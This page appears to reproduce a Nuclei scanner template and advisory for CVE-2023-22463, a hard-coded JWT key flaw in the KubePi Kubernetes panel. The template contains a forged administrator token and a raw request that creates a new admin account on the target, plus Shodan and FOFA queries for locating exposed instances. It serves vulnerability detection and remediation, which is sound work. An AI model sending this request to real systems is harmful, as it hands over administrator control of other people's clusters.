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KubePi JwtSigKey - Admin Authentication Bypass

ID: CVE-2023-22463

Severity: critical

Author: DhiyaneshDK

Tags: cve,cve2023,kubepi,k8s,auth-bypass,fit2cloud

Description

Section titled “Description”

KubePi is a k8s panel. The jwt authentication function of KubePi through version 1.6.2 uses hard-coded Jwtsigkeys, resulting in the same Jwtsigkeys for all online projects. This means that an attacker can forge any jwt token to take over the administrator account of any online project. Furthermore, they may use the administrator to take over the k8s cluster of the target enterprise. session.go, the use of hard-coded JwtSigKey, allows an attacker to use this value to forge jwt tokens arbitrarily. The JwtSigKey is confidential and should not be hard-coded in the code.

YAML Source

Section titled “YAML Source”
id: CVE-2023-22463


info:
  name: KubePi JwtSigKey - Admin Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    KubePi is a k8s panel. The jwt authentication function of KubePi through version 1.6.2 uses hard-coded Jwtsigkeys, resulting in the same Jwtsigkeys for all online projects. This means that an attacker can forge any jwt token to take over the administrator account of any online project. Furthermore, they may use the administrator to take over the k8s cluster of the target enterprise. `session.go`, the use of hard-coded JwtSigKey, allows an attacker to use this value to forge jwt tokens arbitrarily. The JwtSigKey is confidential and should not be hard-coded in the code.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access and control of the Kubernetes cluster.
  remediation: The vulnerability has been fixed in 1.6.3. In the patch, JWT key is specified in app.yml. If the user leaves it blank, a random key will be used. There are no workarounds aside from upgrading.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/KubePi/KubePi%20JwtSigKey%20%E7%99%BB%E9%99%86%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%20CVE-2023-22463.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22463
    - https://github.com/KubeOperator/KubePi/blob/da784f5532ea2495b92708cacb32703bff3a45a3/internal/api/v1/session/session.go#L35
    - https://github.com/KubeOperator/KubePi/commit/3be58b8df5bc05d2343c30371dd5fcf6a9fbbf8b
    - https://github.com/KubeOperator/KubePi/releases/tag/v1.6.3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-22463
    cwe-id: CWE-798
    epss-score: 0.01936
    epss-percentile: 0.88621
    cpe: cpe:2.3:a:fit2cloud:kubepi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fit2cloud
    product: kubepi
    shodan-query:
      - html:"kubepi"
      - http.html:"kubepi"
    fofa-query:
      - "kubepi"
      - body="kubepi"
  tags: cve,cve2023,kubepi,k8s,auth-bypass,fit2cloud
variables:
  name: "{{rand_base(6)}}"
  password: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  nickname: "{{rand_base(4)}}"
  token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfX0.XxQmyfq_7jyeYvrjqsOZ4BB4GoSkfLO2NvbKCEQjld8"


http:
  - raw:
      - |
        POST /kubepi/api/v1/users HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}


        {
          "authenticate": {
               "password": "{{password}}"
          },
          "email": "{{email}}",
          "isAdmin": true,
          "mfa": {
                  "enable": false
           },
          "name": "{{name}}",
          "nickName": "{{nickname}}",
          "roles": [
          ]
        }


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"password":'
          - '"isAdmin":'
          - '"createAt":'
        condition: and


      - type: word
        part: header
        words:
          - 'application/json'


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100853e964eaac770c04419f8b79a8a174ecbf722bdb2872c5ee067b3a45997c7290220527cf01e9d35b54aa759ed3909a04c6558289b9b7916c05e1c1dc4a3a41cfd1f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-22463.yaml"

View on Github